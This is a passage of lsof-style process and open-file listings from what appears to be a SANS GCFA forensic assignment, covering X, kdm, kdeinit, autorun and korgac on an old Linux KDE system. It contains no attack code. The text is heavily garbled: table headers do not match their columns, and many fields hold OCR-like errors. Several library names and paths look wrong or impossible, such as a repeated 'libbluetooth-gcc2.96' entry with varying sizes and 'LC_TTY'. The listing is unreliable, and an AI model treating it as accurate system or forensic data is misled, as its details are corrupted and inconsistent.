X 1066  root  6u  unix  0xc2c57a60  2253  /tmp/.X11-unix/X0
X 1066  root  7u  unix  0xc2b99040  2276  /tmp/.X11-unix/X0
X 1066  root  8u  unix  0xc1ce3ae0  2341  /tmp/.X11-unix/X0
X 1066  root  9u  unix  0xc151ca80  2357  /tmp/.X11-unix/X0
X 1066  root  10u  unix  0xc1bf05a0  2397  /tmp/.X11-unix/X0
X 1066  root  11u  unix  0xc0c375c0  2404  /tmp/.X11-unix/X0
X 1066  root  12u  unix  0xc0a40a60  2431  /tmp/.X11-unix/X0
X 1066  root  13u  unix  0xc73da580  280026  /tmp/.X11-unix/X0
X 1066  root  14u  unix  0xc0bf90e0  2419  /tmp/.X11-unix/X0
X 1066  root  15u  unix  0xc1aff560  714318  /tmp/.X11-unix/X0
X 1066  root  16u  unix  0xc0ab1060  715226  /tmp/.X11-unix/X0
X 1066  root  17u  unix  0xc0a40a60  280026  /tmp/.X11-unix/X0
X 1066  root  18u  unix  0xc73da580  280026  /tmp/.X11-unix/X0
X 1066  root  19u  unix  0xc1aff560  714318  /tmp/.X11-unix/X0
X 1066  root  20u  unix  0xc2d3e5e0  73730  /lib/i686/libc-2.2.5.so
X 1066  root  21u  unix  0xc2f62080  12068  /var/log/XFree86.0.log
X 1066  root  22u  unix  0xc2c57a60  73730  /lib/i686/libc-2.2.5.so
X 1066  root  23u  unix  0xc2b99040  73730  /lib/i686/libc-2.2.5.so
K
kdm 1067 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
kdm 1067 root mem REG 3,5 12471 43053 /lib/security/pam_stack.so
kdm 1067 root mem REG 3,5 6387 43046 /lib/security/pam_nologin.so
kdm 1067 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdm 1067 root mem REG 3,5 68925 63535 /lib/security/pam_stack.so
kdm 1067 root mem REG 3,5 50887 43030 /lib/security/pam_console.so
kdm 1067 root mem REG 3,2 182363 65275 /usr/lib/libglib-1.2.so.0.0.10
kdm 1067 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
kdm 1067 root mem REG 3,5 12989 43034 /lib/security/pam_env.so
kdm 1067 root mem REG 3,5 50425 43057 /lib/security/pam_unix.so
kdm 1067 root mem REG 3,5 14540 43032 /lib/security/pam_cracklib.so
kdm 1067 root mem REG 3,5 71016 43031 /lib/security/pam_console.so
kdm 1067 root mem REG 3,5 89424 63507 /lib/libnss_nisplus-2.2.5.so
kdm 1067 root mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so
kdm 1067 root mem REG 3,5 14617 43040 /lib/security/pam_limits.so
kdm 1067 root mem REG 3,5 46117 63531 /lib/libnss_files-2.2.5.so
kdm 1067 root mem REG 3,2 71016 33603 /usr/lib/libcrack.so.2.7
kdm 1067 root mem REG 3,5 89424 63507 /lib/libresolv-2.2.5.so
kdm 1067 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
kdm 1067 root mem REG 1,3 9637 /dev/null
kdm 1067 root mem REG 1,3 9637 /dev/null
kdm 1067 root mem REG 1,3 9637 /dev/null
kdm 1067 root 0r CHR 1,3 65275 /usr/lib/libglib-1.2.so.0.0.10
kdm 1067 root 1w CHR 1,3 65275 /usr/lib/libglib-1.2.so.0.0.10
kdm 1067 root 2w CHR 1,3 65275 /usr/lib/libglib-1.2.so.0.0.10
startkde 1091 userid1 cwd DIR 3,3 4096 32321 /home/userid1
startkde 1091 userid1 rtd DIR 3,5 1024 2 /
startkde 1091 userid1 txt REG 3,5 541096 40973 /bin/bash
startkde 1091 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
startkde 1091 userid1 mem REG 3,2 371 130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
startkde 1091 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
startkde 1091 userid1 mem REG 3,2 29 130311 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
startkde 1091 userid1 mem REG 3,2 65 130311 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
startkde 1091 userid1 mem REG 3,2 83 130311 /usr/lib/locale/en_US.iso885915/LC_NAME
startkde 1091 userid1 mem REG 3,2 40 130311 /usr/lib/locale/en_US.iso885915/LC_ADDR
startkde 1091 userid1 mem REG 3,2 7840 33603 /usr/bin/startkde
startkde 1175 userid1 cwd DIR 3,3 4096 32321 /home/userid1
startkde 1175 userid1 rtd DIR 3,5 1024 2 /
startkde 1175 userid1 txt REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 1175 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kdeinit 1175 userid1 rtd DIR 3,5 1024 2 /
kdeinit 1175 userid1 txt REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 1175 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
kdeinit 1175 userid1 mem REG 3,2 262818 65640 /usr/lib/libDCOP-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 294341 65706 /usr/lib/libkparts-gcc2.96.so.2.0.0
kdeinit 1175 userid1 mem REG 3,2 3484738 65706 /usr/lib/libkio-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 2530952 65706 /usr/lib/libkdeui-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 168176 65682 /usr/lib/libkdefx-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 12102 65706 /usr/lib/libkdeui-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 13032 65706 /usr/lib/libkdeui-gcc2.96.so.4.0.0
<table>
<thead>
<tr>
<th>Filesystem</th>
<th>Userid</th>
<th>Mode</th>
<th>Size</th>
<th>Inode</th>
<th>Permissions</th>
</tr>
</thead>
<tbody>
<tr>
<td>/home/userid1/.xsession</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>1453</td>
<td>12102</td>
</tr>
<tr>
<td>/usr/lib/libfreetype.so.6.3.0</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>262818</td>
<td>253952</td>
</tr>
<tr>
<td>/usr/lib/libjpeg.so.62.0.0</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>7644546</td>
<td>704306</td>
</tr>
<tr>
<td>/lib/libutil</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>130324</td>
</tr>
<tr>
<td>/home/userid1/kshader-kscene</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
<td>130317</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>73732</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>173359</td>
<td>73732</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>134760</td>
<td>73732</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>13760</td>
<td>73732</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>130324</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>134760</td>
<td>73732</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>130324</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_DEFAULT</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>134760</td>
<td>73732</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>134760</td>
<td>73732</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>134760</td>
<td>73732</td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4
kdeinit 1203 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
kdeinit 1203 userid1 mem REG 3,2 575687 65982 /usr/lib/libkong-gcc2.96.so.4.0.0
kdeinit 1203 userid1 mem REG 3,2 381888 65598 /usr/lib/libsoundserver_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 35784 65592 /usr/lib/libqtmcop-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 282587 65574 /usr/lib/libkmedia2_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 1048932 65545 /usr/lib/libartsflow-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 563716 65551 /usr/lib/libartsflow_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 160333 65367 /usr/lib/libaudiofile.so.0.0.2
kdeinit 1203 userid1 mem REG 3,2 1007546 65580 /usr/lib/libmcop-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1203 userid1 mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
kdeinit 1203 userid1 mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
kdeinit 1203 userid1 mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
kdeinit 1203 userid1 mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
kdeinit 1203 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1203 userid1 mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 1203 userid1 mem REG 3,2 9637 /dev/null
kdeinit 1203 userid1 mem REG 3,2 1453 /home/userid1/.xsession-errors
kdeinit 1203 userid1 mem REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 1203 userid1 mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_TIME
kdeinit 1203 userid1 mem REG 3,2 10902 16965

kwrapper 1208 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kwrapper 1208 userid1 txt REG 3,3 41453 32321 /home/userid1/.xsession-errors
kwrapper 1208 userid1 rmt REG 3,3 1024 2 /
<table>
<thead>
<tr>
<th>Description</th>
<th>Location</th>
<th>Size</th>
<th>Permissions</th>
<th>Ownership</th>
<th>Link</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit user121  9u unix 0xc2d3eae0</td>
<td>2279 socket</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  10u unix 0xc23ef0a0</td>
<td>2285 /tmp/.ICE-unix/1210</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  11u unix 0xc22c45c0</td>
<td>2294 /tmp/.ICE-unix/1210</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  12u unix 0xc356f040</td>
<td>280012 /tmp/.ICE-unix/1210</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  13u unix 0xc5501540</td>
<td>2343 /tmp/.ICE-unix/1210</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  14u unix 0xc1aff460</td>
<td>2413 /tmp/.ICE-unix/1210</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  15u unix 0x09ea0a0</td>
<td>2438 /tmp/.ICE-unix/1210</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  16u unix 0xc9a2ac0</td>
<td>2449 /tmp/.ICE-unix/1210</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  17u unix 0xc2454580</td>
<td>2485 /tmp/.ICE-unix/1210</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  18u unix 0x73dea080</td>
<td>337079 /tmp/.ICE-unix/1210</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  19u unix 0xc79d6c0</td>
<td>714323 /tmp/.ICE-unix/1210</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  20u unix 0xc0a0b580</td>
<td>715231 /tmp/.ICE-unix/1210</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 89547</td>
<td>63490 /lib/id-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 2457</td>
<td>130317</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>20666 114263 /usr/lib/gconv/gconv-modules.cache</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 21</td>
<td>130311</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>29 130312</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 65</td>
<td>130316</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>161 130310</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 83</td>
<td>130314</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>50 179360</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 40</td>
<td>130315</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>58 179360</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 3</td>
<td>130322</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
<td>10902 16965</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 60</td>
<td>130322</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
<td>262818 65640 /usr/lib/libCOP-gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 294341</td>
<td>65748 /usr/lib/libkparts-gcc2.96.so.2.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 3484738</td>
<td>65724 /usr/lib/libkio-gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 2530952</td>
<td>65712 /usr/lib/libkdeui-gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 168176</td>
<td>65682 /usr/lib/libkdefx-gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 17328</td>
<td>17011 /usr/lib/libXrender.so.1.1</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 133032</td>
<td>65706 /usr/lib/libkdesu-gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 1962973</td>
<td>65672 /usr/lib/libkdecore- gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 7644546</td>
<td>440426 /usr/lib/qt-3.0.3/lib/qtbase- mt.so.3.0.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 131560</td>
<td>65396 /usr/lib/libpng.so.2.1.0.12</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 59778</td>
<td>65358 /usr/lib/libso.1.1.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 874476</td>
<td>16985 /usr/X11R6/lib/libX11.so.6.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 31520</td>
<td>16983 /usr/X11R6/lib/libM.so.6.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 81980</td>
<td>16979 /usr/X11R6/lib/libICE.so.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 101902</td>
<td>73734 /libX11/lib/libthread-0.9.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 12102</td>
<td>63503 /lib/libdl-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 95300</td>
<td>16993 /usr/X11R6/lib/libXext.so.6.4</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 68925</td>
<td>63535 /lib/libresolv-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 4266442</td>
<td>63530 /usr/lib/libstdc++-c++-3-1libc6.2.2-2.10.0.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 11174</td>
<td>63541 /lib/libutil-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 173359</td>
<td>73732 /libX11/lib/libm.so.2.5.5</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 110194</td>
<td>63599 /usr/lib/libcups.so.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 290306</td>
<td>63392 /usr/lib/libmng.so.1.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 140418</td>
<td>63589 /usr/lib/libjpeg.so.62.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 90976</td>
<td>16997 /usr/X11R6/lib/libXft.so.1.1</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 295833</td>
<td>63582 /usr/lib/libfreeetype.so.6.3.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 207008</td>
<td>63563 /lib/libssl.so.0.9.6b</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 924879</td>
<td>63562 /lib/libcrypto.so.0.9.6b</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit user121  mem REG 3,2 575687</td>
<td>65982 /usr/lib/libkronq-gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>User</td>
<td>Command</td>
<td>Mode</td>
<td>Address</td>
<td>Size</td>
<td>Description</td>
</tr>
<tr>
<td>------</td>
<td>---------</td>
<td>------</td>
<td>---------</td>
<td>------</td>
<td>-------------</td>
</tr>
<tr>
<td>1211</td>
<td>useridl</td>
<td>mem</td>
<td>REG 3,2</td>
<td>488575</td>
<td>/usr/lib/kwin-gcc2.96.so</td>
</tr>
<tr>
<td>1211</td>
<td>useridl</td>
<td>mem</td>
<td>REG 3,2</td>
<td>22592</td>
<td>130323</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>useridl</td>
<td>mem</td>
<td>REG 3,2</td>
<td>173680</td>
<td>130324</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>useridl</td>
<td>mem</td>
<td>REG 3,2</td>
<td>136415</td>
<td>16964</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
<td>useridl</td>
<td>mem</td>
<td>REG 3,2</td>
<td>6996</td>
<td>114215</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>useridl</td>
<td>mem</td>
<td>REG 3,2</td>
<td>69421</td>
<td>294654</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>useridl</td>
<td>mem</td>
<td>REG 3,2</td>
<td>42808</td>
<td>16969</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2</td>
<td>useridl</td>
<td>mem</td>
<td>REG 3,2</td>
<td>59778</td>
<td>130324</td>
</tr>
</tbody>
</table>

**Key fingerprint:** AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
```bash
kdeinit 1217 userid1 mem REG 3,2 575687 65982 /usr/lib/libkong-gcc2.96.so.4.0.0
kdeinit 1217 userid1 mem REG 3,2 932895 65934 /usr/lib/kicker-gcc2.96.so
kdeinit 1217 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1217 userid1 mem REG 3,2 83 130317 /usr/lib/locale/en_US.iso885915/LC_NAME
kdeinit 1217 userid1 mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
kdeinit 1217 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_TTY
kdeinit 1217 userid1 mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1217 userid1 mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 1217 userid1 mem REG 3,2 10902 16965 /usr/X11R6/lib/X11/locale/common/xlcDef.so.2
kdeinit 1217 userid1 mem REG 3,2 136415 16964 /usr/X11R6/lib/X11/locale/common/ximcp.so.2
kdeinit 1217 userid1 mem REG 3,2 6996 114215 /usr/lib/gconv/ISO8859-15.so
kdeinit 1217 userid1 mem REG 3,2 83610 294695 /usr/lib/kde3/minipager_panelapplet-gcc2.96.so.1.0.0
kdeinit 1217 userid1 mem REG 3,2 29535 294715 /usr/lib/kde3/taskbar_panelapplet-gcc2.96.so.1.0.0
kdeinit 1217 userid1 mem REG 3,2 51787 294691 /usr/lib/kde3/lockout_panelapplet-gcc2.96.so
kdeinit 1217 userid1 mem REG 3,2 49642 294711 /usr/lib/kde3/systemtray_panelapplet-gcc2.96.so.1.0.0
kdeinit 1217 userid1 mem REG 3,2 197376 294364 /usr/lib/kde3/clock_panelapplet-gcc2.96.so.1.0.0
kdeinit 1217 userid1 mem REG 3,2 42808 16969 /usr/X11R6/lib/X11/locale/common/xomGeneric.so.2
kdeinit 1217 userid1 mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
kdeinit 1217 userid1 mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
kdeinit 1217 userid1 0r CHR 1,3 /dev/null
kdeinit 1217 userid1 1w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kdeinit 1217 userid1 2w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kdeinit 1217 userid1 3u unix OoxlCe50C0 2335 socket
kdeinit 1217 userid1 4u unix OoxlCe35e0 2339 socket
kdeinit 1217 userid1 5r FIFO 0,5 2341 pipe
kdeinit 1217 userid1 6w FIFO 0,5 2341 pipe
kdeinit 1217 userid1 7u unix Oox150400 2342 socket
kdeinit 1217 userid1 8r FIFO 0,5 2345 pipe
kdeinit 1217 userid1 9w FIFO 0,5 2345 pipe
kdeinit 1217 userid1 10r REG 3,5 425497 75899 /tmp/kde-userid1/kssycoca
autorun 1219 userid1 cwd DIR 3,3 4096 32321 /home/userid1
autorun 1219 userid1 rtd DIR 3,5 1024 2 /
autorun 1219 userid1 txt REG 3,2 38711 36367 /usr/bin/autorun
autorun 1219 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
autorun 1219 userid1 mem REG 3,5 426442 65304 /usr/lib/libstdc++-3-1ibc6.2-2.10.0.so
autorun 1219 userid1 mem REG 3,5 173359 73732 /lib/i686/libm-2.2.5.so
autorun 1219 userid1 mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
autorun 1219 userid1 0r CHR 1,3 /dev/null
autorun 1219 userid1 1w REG 3,3 1453 32328 /home/userid1/.xsession-errors
autorun 1219 userid1 2w REG 3,3 1453 32328 /home/userid1/.xsession-errors
autorun 1219 userid1 3r REG 3,3 0 32337 /home/userid1/.autoRun.lck
autorun 1219 userid1 cwd DIR 3,3 4096 32321 /home/userid1
autorun 1219 userid1 rtd DIR 3,5 1024 2 /
autorun 1219 userid1 txt REG 3,2 38711 36367 /usr/bin/autorun
autorun 1219 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
autorun 1219 userid1 mem REG 3,5 426442 65304 /usr/lib/libstdc++-3-1ibc6.2-2.10.0.so
```
kdeinit 1226 userid1 mem REG 3,2 6996 114215 /usr/lib/gconv/ISO8859-15.so
kdeinit 1226 userid1 mem REG 3,5 45415 63523 /lib/libm.so.6.0.25
kdeinit 1226 userid1 mem REG 3,5 1401027 73730 /lib/libX11.so.6.2.2.5.so
kdeinit 1226 userid1 0r CHR 1,3 9637 /dev/null
kdeinit 1226 userid1 1w REG 3,3 1453 140418 65392 /home/userid1/xsession-errors
kdeinit 1226 userid1 2w REG 3,3 1453 140418 /home/userid1/xsession-errors
kdeinit 1226 userid1 3i unix Oxclbf0a0a 131560 65382 /usr/lib/libpng.so.2.1.0.12
kdeinit 1226 userid1 4i unix Oxcc0e370c0 290306 65382 /usr/lib/libmng.so.1.0.0
kdeinit 1226 userid1 5r FIFO 0,5 2962 114263 /usr/lib/gconv/gconv
kdeinit 1226 userid1 6w FIFO 0,5 2962 114263 /usr/lib/libstdc++.0322
kdeinit 1226 userid1 7r FIFO 0,5 2962 114263 /usr/lib/libfreetype.so.6.3.0
kdeinit 1226 userid1 8w FIFO 0,5 2962 114263 /usr/lib/libssl.so.0.9.6b
kdeinit 1226 userid1 10u CHR 136,0 2 /dev/pts/0
kdeinit 1226 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kdeinit 1226 userid1 rtd DIR 3,3 1024 2 /
kdeinit 1226 userid1 txt REG 3,2 112468 33419 /usr/bin/korgac
kdeinit 1226 userid1 mem REG 3,5 89547 63490 /lib/id-2.2.5.so
kdeinit 1226 userid1 mem REG 3,2 624081 65795 /usr/lib/libbluetooth-gcc2.96.so.2.0.0
kdeinit 1226 userid1 mem REG 3,2 3484738 65724 /usr/lib/libbluetooth-gcc2.96.so.4.0.0
kdeinit 1226 userid1 mem REG 3,2 2530952 65712 /usr/lib/libbluetooth-gcc2.96.so.4.0.0
kdeinit 1226 userid1 mem REG 3,2 169176 65682 /usr/lib/libbluetooth-gcc2.96.so.4.0.0
kdeinit 1226 userid1 mem REG 3,2 17128 17011 /usr/lib/libbluetooth-gcc2.96.so.4.0.0
kdeinit 1226 userid1 mem REG 3,2 133032 65706 /usr/lib/libbluetooth-gcc2.96.so.4.0.0
kdeinit 1226 userid1 mem REG 3,2 1962973 65672 /usr/lib/libbluetooth-gcc2.96.so.4.0.0
kdeinit 1226 userid1 mem REG 3,2 168176 65682 /usr/lib/libbluetooth-gcc2.96.so.4.0.0
kdeinit 1226 userid1 mem REG 3,2 2530952 65712 /usr/lib/libbluetooth-gcc2.96.so.4.0.0
kdeinit 1226 userid1 mem REG 3,2 169176 65682 /usr/lib/libbluetooth-gcc2.96.so.4.0.0
kdeinit 1226 userid1 mem REG 3,2 17128 17011 /usr/lib/libbluetooth-gcc2.96.so.4.0.0
korgac 1228 userid1 mem REG 3,2 262818 65640 /usr/lib/libXCB-gcc2.96.so.4.0.0
korgac 1228 userid1 mem REG 3,2 7644546 440426 /usr/lib/libbluetooth-gcc2.96.so.4.0.0
korgac 1228 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
korgac 1228 userid1 mem REG 3,2 371 130117 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
korgac 1228 userid1 mem REG 3,2 29 130117 /usr/lib/locale/en_US.iso885915/LC_MONEY
